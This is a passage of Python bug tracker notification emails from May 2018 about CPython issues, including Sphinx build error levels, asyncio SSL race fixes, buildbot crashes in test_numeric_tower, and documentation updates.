resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:27:54 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:27:54 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527550074.55.0.682650639539.issue33670@psf.upfronthosting.co.za> Change by Steve Dower : ---------- assignee: -> steve.dower components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:28:24 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 23:28:24 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527550104.28.0.682650639539.issue33670@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 8c1ad0c4f69390fded09012e1ed5242c45753bb4 by Steve Dower (Andr?s Delfino) in branch 'master': bpo-33670: Expose Sphinx errorlevel (GH-7156) https://github.com/python/cpython/commit/8c1ad0c4f69390fded09012e1ed5242c45753bb4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:29:33 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 23:29:33 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527550173.59.0.682650639539.issue33670@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6820 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:30:31 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 23:30:31 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527550231.85.0.682650639539.issue33670@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6821 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:33:37 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:33:37 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527550417.4.0.682650639539.issue33674@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset be00a5583a2cb696335c527b921d1868266a42c6 by Victor Stinner in branch 'master': bpo-33674: asyncio: Fix SSLProtocol race (GH-7175) https://github.com/python/cpython/commit/be00a5583a2cb696335c527b921d1868266a42c6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:34:45 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 23:34:45 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527550485.83.0.682650639539.issue33674@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6822 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:43:21 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:43:21 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527551001.14.0.682650639539.issue33615@psf.upfronthosting.co.za> STINNER Victor added the comment: Any progress on this issue? It's still crashing the ARMv7 Ubuntu 3.x buildbot. Eric: are you able to reproduce the issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 19:51:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 23:51:25 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527551485.37.0.682650639539.issue33674@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6823 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:14:30 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 00:14:30 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527552870.52.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: > http://buildbot.python.org/all/#/builders/88/builds/1044 This is x86 Ubuntu Shared 3.x, and the test_complex() does still crash sometimes on this buildbot, and only this buildbot :-( http://buildbot.python.org/all/#/builders/88/builds/1067 0:08:11 load avg: 1.62 [170/416/1] test_numeric_tower crashed (Exit code -11) Fatal Python error: Segmentation fault Current thread 0x405c5dc0 (most recent call first): File "/srv/buildbot/buildarea/3.x.bolen-ubuntu/build/Lib/test/test_numeric_tower.py", line 184 in test_complex ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:16:46 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 00:16:46 +0000 Subject: [issue32610] asyncio.all_tasks() should return only non-finished tasks. In-Reply-To: <1516553125.63.0.467229070634.issue32610@psf.upfronthosting.co.za> Message-ID: <1527553006.57.0.682650639539.issue32610@psf.upfronthosting.co.za> miss-islington added the comment: New changeset ddc613f20394eba25f2420f6d2fa62b277c95058 by Miss Islington (bot) in branch '3.7': bpo-32610: Fix asyncio.all_tasks() to return only pending tasks. (GH-7174) https://github.com/python/cpython/commit/ddc613f20394eba25f2420f6d2fa62b277c95058 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:24:39 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 00:24:39 +0000 Subject: [issue32878] Document value of st_ino on Windows In-Reply-To: <1519078455.66.0.467229070634.issue32878@psf.upfronthosting.co.za> Message-ID: <1527553479.13.0.682650639539.issue32878@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 3e51a3d5927c680d5410ff11ff8d5e5bb9ffb1e7 by Steve Dower in branch 'master': bpo-32878: Adds documentation for st_ino on Windows (GH-5764) https://github.com/python/cpython/commit/3e51a3d5927c680d5410ff11ff8d5e5bb9ffb1e7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:25:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 00:25:00 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527553500.72.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: x86 Ubuntu Shared 3.x is a 32-bit build: * Ubuntu 14.04.4 LTS (Linode 2048 KVM VPS, Xeon E5-2680 v3/2.50GHz host, 1 core) * os.cpu_count: 1 * os.uname: posix.uname_result(sysname='Linux', nodename='buildbot-ubuntu', release='4.5.5-x86-linode88', version='#2 SMP Fri May 20 15:30:53 EDT 2016', machine='i686') * platform.architecture: 32bit ELF * platform.platform: Linux-4.5.5-x86-linode88-i686-with-glibc2.0 * sysconfig[CC]: gcc -pthread * sysconfig[CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall -Wstrict-prototypes * sysconfig[CONFIG_ARGS]: '--with-pydebug' '--enable-shared' * sysconfig[OPT]: -g -Og -Wall -Wstrict-prototypes * sysconfig[PY_CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall -Wstrict-prototypes ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:25:53 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 00:25:53 +0000 Subject: [issue32878] Document value of st_ino on Windows In-Reply-To: <1519078455.66.0.467229070634.issue32878@psf.upfronthosting.co.za> Message-ID: <1527553553.12.0.682650639539.issue32878@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6824 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:33:51 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 00:33:51 +0000 Subject: [issue32878] Document value of st_ino on Windows In-Reply-To: <1519078455.66.0.467229070634.issue32878@psf.upfronthosting.co.za> Message-ID: <1527554031.97.0.682650639539.issue32878@psf.upfronthosting.co.za> Change by Steve Dower : ---------- pull_requests: +6825 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:35:42 2018 From: report at bugs.python.org (A.M. Kuchling) Date: Tue, 29 May 2018 00:35:42 +0000 Subject: [issue33649] asyncio docs overhaul In-Reply-To: <1527277722.54.0.682650639539.issue33649@psf.upfronthosting.co.za> Message-ID: <1527554142.68.0.682650639539.issue33649@psf.upfronthosting.co.za> A.M. Kuchling added the comment: The plan for updating things looks good, and I think the ordering of tasks is good -- rearranging the APIs is a pretty simple first step, and it matches other chapters in the Library Reference, which list more important modules first and more specialized obscure modules later. Then we can work on writing the additional material. Yury: do you want to do the re-organization into high- and low-level APIs? If you'd like me to do it, I'll need a more explicit listing of which APIs fall into which category. Also, do we want to create an explicit high-level and low-level sections and push everything else down a level, or just leave it implicit in the ordering? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:36:58 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 00:36:58 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527554218.59.0.682650639539.issue33673@psf.upfronthosting.co.za> Change by Steve Dower : ---------- assignee: -> steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 20:46:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 29 May 2018 00:46:11 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527554771.53.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: ARMv7 Ubuntu 3.7 builder is an ARM Cortex A15: * Ubuntu 14.04 ARM - Quad 2.3Ghz Cortex A15 2GiB (Nvidia Jetson Tegra K1) armv7l * os.cpu_count: 1 * os.uname: posix.uname_result(sysname='Linux', nodename='tegra-ubuntu', release='3.10.40-gc017b03', version='#1 SMP PREEMPT Mon Feb 2 17:50:48 PST 2015', machine='armv7l') * platform.architecture: 32bit ELF * platform.platform: Linux-3.10.40-gc017b03-armv7l-with-debian-jessie-sid * sysconfig[CC]: gcc -pthread * sysconfig[CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall -Wstrict-prototypes * sysconfig[PY_CFLAGS]: -Wno-unused-result -Wsign-compare -g -Og -Wall -Wstrict-prototypes * sysconfig[OPT]: -g -Og -Wall -Wstrict-prototypes ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:03:04 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 29 May 2018 01:03:04 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527555784.5.0.682650639539.issue33627@psf.upfronthosting.co.za> Gregory P. Smith added the comment: FYI - the "ARMv7 Ubuntu 14.04" builder is in serious need of an update, I plan to turn it into a modern Debian system after 3.7.0 is out the door. A specific test crashing intermittently seems odd though, this buildbot has been running the same (out of date) software for many years. That it happens on someone's 32-bit x86 14.04 bot as well as my 32-bit arm one is interesting. tegra-ubuntu:~$ gcc -v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/lib/gcc/arm-linux-gnueabihf/4.8/lto-wrapper Target: arm-linux-gnueabihf Configured with: ../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.8.4-2ubuntu1~14.04.3' --with-bugurl=file:///usr/share/doc/gcc-4.8/README.Bugs --enable-languages=c,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.8 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.8 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --disable-libmudflap --disable-libitm --disable-libquadmath --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.8-armhf/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.8-armhf --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-4.8-armhf --with-arch-directory=arm --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --enable-multilib --disable-sjlj-exceptions --with-arch=armv7-a --with-fpu=vfpv3-d16 --with-float=hard --with-mode=thumb --disable-werror --enable-checking=release --build=arm-linux-gnueabihf --host=arm-linux-gnueabihf --target=arm-linux-gnueabihf Thread model: posix gcc version 4.8.4 (Ubuntu/Linaro 4.8.4-2ubuntu1~14.04.3) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:03:40 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 01:03:40 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527555820.79.0.682650639539.issue33673@psf.upfronthosting.co.za> miss-islington added the comment: New changeset a379dea11e989da73c335a83ea7368c5e070987e by Miss Islington (bot) in branch '3.7': bpo-33673: Install python-docs-theme even if Sphinx is already installed (GH-7163) https://github.com/python/cpython/commit/a379dea11e989da73c335a83ea7368c5e070987e ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:06:25 2018 From: report at bugs.python.org (Aaron Hall) Date: Tue, 29 May 2018 01:06:25 +0000 Subject: [issue30129] functools.partialmethod should look more like what it's impersonating. In-Reply-To: <1492784871.01.0.595019366474.issue30129@psf.upfronthosting.co.za> Message-ID: <1527555985.98.0.682650639539.issue30129@psf.upfronthosting.co.za> Change by Aaron Hall : ---------- nosy: +Aaron Hall _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:08:19 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 01:08:19 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527556099.35.0.682650639539.issue33673@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d8af8302430d85589df0a76d43dda9bac5be27c4 by Miss Islington (bot) in branch '3.6': bpo-33673: Install python-docs-theme even if Sphinx is already installed (GH-7163) https://github.com/python/cpython/commit/d8af8302430d85589df0a76d43dda9bac5be27c4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:18:18 2018 From: report at bugs.python.org (Aaron Hall) Date: Tue, 29 May 2018 01:18:18 +0000 Subject: [issue12154] PyDoc Partial Functions In-Reply-To: <1306142131.82.0.401706336814.issue12154@psf.upfronthosting.co.za> Message-ID: <1527556698.36.0.682650639539.issue12154@psf.upfronthosting.co.za> Aaron Hall added the comment: Should pydoc treat a partial object like a function? Should a partial be an instance of a function? Should we be able to add all the nice things that functions have to it? If we want that, should we simply instantiate a function the normal way, with a new function definition? That is, instead of this: >>> from functools import partial >>> basetwo = partial(int, base=2) >>> basetwo.__doc__ = 'convert base 2 string to int' do this: def basetwo(string:str) -> int: 'convert base 2 string to int' return int(string, base=2) Otherwise, either the partial definition or pydoc needs some work. (Cheers and bump!) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:32:19 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 01:32:19 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527557539.42.0.682650639539.issue33469@psf.upfronthosting.co.za> miss-islington added the comment: New changeset a6d6bd70ac95a0f7bbfe07d4e60b43afcec370d2 by Miss Islington (bot) in branch '3.6': bpo-33469: RuntimeError after closing loop that used run_in_executor (GH-7171) https://github.com/python/cpython/commit/a6d6bd70ac95a0f7bbfe07d4e60b43afcec370d2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:42:47 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 29 May 2018 01:42:47 +0000 Subject: [issue32410] Implement loop.sock_sendfile method In-Reply-To: <1513948033.17.0.213398074469.issue32410@psf.upfronthosting.co.za> Message-ID: <1527558167.43.0.682650639539.issue32410@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 420092e255389008b399efa61db300fe44356ee8 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-32410: Avoid blocking on file IO in sendfile fallback code (GH-7172) (#7182) https://github.com/python/cpython/commit/420092e255389008b399efa61db300fe44356ee8 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:44:18 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 29 May 2018 01:44:18 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527558258.86.0.682650639539.issue33674@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 0dd8fd03584b61cd769be88f5a2fb59b0d8f6d18 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33674: asyncio: Fix SSLProtocol race (GH-7175) (#7187) https://github.com/python/cpython/commit/0dd8fd03584b61cd769be88f5a2fb59b0d8f6d18 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:45:37 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 01:45:37 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527558337.06.0.682650639539.issue33670@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 1827615500e94801653f67fd026a2c95930faf59 by Miss Islington (bot) in branch '3.7': bpo-33670: Expose Sphinx errorlevel (GH-7156) https://github.com/python/cpython/commit/1827615500e94801653f67fd026a2c95930faf59 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:49:44 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 29 May 2018 01:49:44 +0000 Subject: [issue32878] Document value of st_ino on Windows In-Reply-To: <1519078455.66.0.467229070634.issue32878@psf.upfronthosting.co.za> Message-ID: <1527558584.86.0.682650639539.issue32878@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 78e14f8eb4b4a96d0766f2857c00de21d3303b17 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-32878: Adds documentation for st_ino on Windows (GH-5764) (#7189) https://github.com/python/cpython/commit/78e14f8eb4b4a96d0766f2857c00de21d3303b17 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:49:53 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 01:49:53 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527558593.26.0.682650639539.issue33670@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 08beaf7d60c247b485fb578be1ef14bbc796ca88 by Miss Islington (bot) in branch '3.6': bpo-33670: Expose Sphinx errorlevel (GH-7156) https://github.com/python/cpython/commit/08beaf7d60c247b485fb578be1ef14bbc796ca88 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:54:30 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 01:54:30 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527558870.46.0.682650639539.issue33670@psf.upfronthosting.co.za> Steve Dower added the comment: Thanks for the contribution! Looks like the automatic backport to 2.7 won't work, so someone will have to do one manually. I'm happy to hit merge on a PR (whoever does it, make sure you follow the backport naming rules in the PR template). ---------- assignee: steve.dower -> stage: patch review -> backport needed versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:55:01 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 01:55:01 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed In-Reply-To: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> Message-ID: <1527558901.27.0.682650639539.issue33673@psf.upfronthosting.co.za> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 21:57:53 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Tue, 29 May 2018 01:57:53 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527559073.53.0.682650639539.issue33670@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Np! I'll take care of the backport :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 22:27:15 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 02:27:15 +0000 Subject: [issue32878] Document value of st_ino on Windows In-Reply-To: <1519078455.66.0.467229070634.issue32878@psf.upfronthosting.co.za> Message-ID: <1527560835.78.0.682650639539.issue32878@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 325320d5f5a4480a6f4f92dcf86b9dbb7eb5c791 by Steve Dower in branch '3.6': bpo-32878: Adds documentation for st_ino on Windows (GH-5764) (GH-7190) https://github.com/python/cpython/commit/325320d5f5a4480a6f4f92dcf86b9dbb7eb5c791 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 22:28:01 2018 From: report at bugs.python.org (Steve Dower) Date: Tue, 29 May 2018 02:28:01 +0000 Subject: [issue32878] Document value of st_ino on Windows In-Reply-To: <1519078455.66.0.467229070634.issue32878@psf.upfronthosting.co.za> Message-ID: <1527560881.16.0.682650639539.issue32878@psf.upfronthosting.co.za> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 00:12:10 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 29 May 2018 04:12:10 +0000 Subject: [issue17305] IDNA2008 encoding missing In-Reply-To: <1361928766.42.0.728949411958.issue17305@psf.upfronthosting.co.za> Message-ID: <1527567130.23.0.682650639539.issue17305@psf.upfronthosting.co.za> Change by ???? ????????? : ---------- nosy: +socketpair _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 00:39:01 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 04:39:01 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527568741.46.0.682650639539.issue33674@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6826 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 00:43:42 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Tue, 29 May 2018 04:43:42 +0000 Subject: [issue17305] IDNA2008 encoding is missing In-Reply-To: <1361928766.42.0.728949411958.issue17305@psf.upfronthosting.co.za> Message-ID: <1527569022.01.0.682650639539.issue17305@psf.upfronthosting.co.za> Change by Andrew Svetlov : ---------- title: IDNA2008 encoding missing -> IDNA2008 encoding is missing _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 00:46:53 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 04:46:53 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527569213.38.0.682650639539.issue33674@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 7593b8a5075ff45d71be9f62980be6a9c005afa9 by Yury Selivanov (Victor Stinner) in branch '3.6': bpo-33674: asyncio: Fix SSLProtocol race (GH-7175) (GH-7188) https://github.com/python/cpython/commit/7593b8a5075ff45d71be9f62980be6a9c005afa9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 00:55:29 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 04:55:29 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines In-Reply-To: <1527539256.53.0.682650639539.issue33672@psf.upfronthosting.co.za> Message-ID: <1527569729.8.0.682650639539.issue33672@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset e151f83deab9819fb8d9dfc59f9baa4a7273226c by Yury Selivanov in branch '3.6': bpo-33672: Fix Task.__repr__ crash with Cython's bogus coroutines (GH-7180) https://github.com/python/cpython/commit/e151f83deab9819fb8d9dfc59f9baa4a7273226c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 01:00:14 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 05:00:14 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527570014.41.0.682650639539.issue33674@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset f295587c45f96b62d24f9a12cef6931b0805f596 by Yury Selivanov in branch 'master': bpo-33674: Pause the transport as early as possible (#7192) https://github.com/python/cpython/commit/f295587c45f96b62d24f9a12cef6931b0805f596 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 01:01:30 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 05:01:30 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527570090.64.0.682650639539.issue33674@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6827 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 01:14:27 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 29 May 2018 05:14:27 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527570867.92.0.682650639539.issue33654@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6828 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 01:59:06 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 29 May 2018 05:59:06 +0000 Subject: [issue33674] asyncio: race condition in SSLProtocol In-Reply-To: <1527539838.3.0.682650639539.issue33674@psf.upfronthosting.co.za> Message-ID: <1527573546.29.0.682650639539.issue33674@psf.upfronthosting.co.za> miss-islington added the comment: New changeset eca085993cb8620ba9232560f46d91326a13cdd2 by Miss Islington (bot) in branch '3.7': bpo-33674: Pause the transport as early as possible (GH-7192) https://github.com/python/cpython/commit/eca085993cb8620ba9232560f46d91326a13cdd2 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 02:07:14 2018 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Tue, 29 May 2018 06:07:14 +0000 Subject: [issue31639] http.server and SimpleHTTPServer hang after a few requests In-Reply-To: <1506701944.65.0.213398074469.issue31639@psf.upfronthosting.co.za> Message-ID: <1527574034.84.0.682650639539.issue31639@psf.upfronthosting.co.za> Change by G?ry : ---------- pull_requests: +6829 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 02:19:01 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 29 May 2018 06:19:01 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527574741.05.0.682650639539.issue33532@psf.upfronthosting.co.za> Ned Deily added the comment: FWIW, Issue29589 seems to be an older example of this failure. ---------- nosy: +ned.deily versions: +Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 29 03:06:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 29 May 2018 07:06:44 +0000 Subject: [issue33677] Fix signatures of tp_clear handlers Message-ID: <1527577604.06.0.682650639539.issue33677@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The tp_clear handler should be a pointer to the function that returns int. typedef int (*inquiry)(PyObject *); Two handlers 